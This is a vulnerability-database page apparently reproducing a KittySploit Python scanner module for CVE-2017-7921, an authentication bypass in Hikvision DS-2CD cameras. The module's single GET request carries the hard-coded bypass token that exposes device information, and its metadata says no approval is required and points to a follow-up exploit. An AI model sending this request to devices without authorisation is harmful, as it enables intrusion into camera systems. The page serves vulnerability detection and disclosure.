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Hikvision - Authentication Bypass Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Improper authentication in Hikvision DS-2CD series devices allows privilege escalation.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Hikvision DS-2CD2xx2F-I Series V5."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Hikvision - Authentication Bypass Detection',
        'description': 'Hikvision DS-2CD2xx2F-I Series V5.2.0 build 140721 to V5.4.0 build 160530, DS-2CD2xx0F-I Series V5.2.0 build 140721 to V5.4.0 Build 160401, DS-2CD2xx2FWD Series V5.3.1 build 150410 to V5.4.4 Build 161125, DS-2CD4x2xFWD Series V5.2.0 build 140721 to V5.4.0 Build 160414, DS-2CD4xx5 Series V5.2.0 build 140721 to V5.4.0 Build 160421, DS-2DFx Series V5.2.0 build 140805 to V5.4.5 Build 160928, and DS-2CD63xx Series V5.0.9 build 140305 to V5.3.5 Build 160106 devices contain an improper authentication issue. The improper authentication vulnerability occurs when an application does not adequately or correctly authenticate users. This may allow a malicious user to escalate his or her privileges on the system and gain access to sensitive information.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2017', 'auth-bypass', 'hikvision', 'vkev', 'vuln', 'kev'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'exploits/linux/http/hikvision_cve_2017_7921_auth_bypass',
                ],
            },
        },
        'references': [
            'http://www.hikvision.com/us/about_10805.html',
            'https://ics-cert.us-cert.gov/advisories/ICSA-17-124-01',
            'https://nvd.nist.gov/vuln/detail/CVE-2017-7921',
            'https://ghostbin.com/paste/q2vq2',
            'https://github.com/ARPSyndicate/cvemon',
        ],
        'cve': 'CVE-2017-7921',
    }

    def run(self):
        r = self.http_request(method="GET", path='/system/deviceInfo?auth=YWRtaW46MTEK', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        body_any = ('<firmwareVersion>',)
        header_any = ('application/xml',)
        if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
            self.set_info(
                severity='critical',
                reason="Hikvision - Authentication Bypass detected",
                path='/system/deviceInfo?auth=YWRtaW46MTEK',
            )
            return True
        return False

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05 Oct 2026 14:20Current
8.5High risk
Vulners AI Score8.5
CVSS 27.5
CVSS 3.19.8
EPSS0.99998
SSVC
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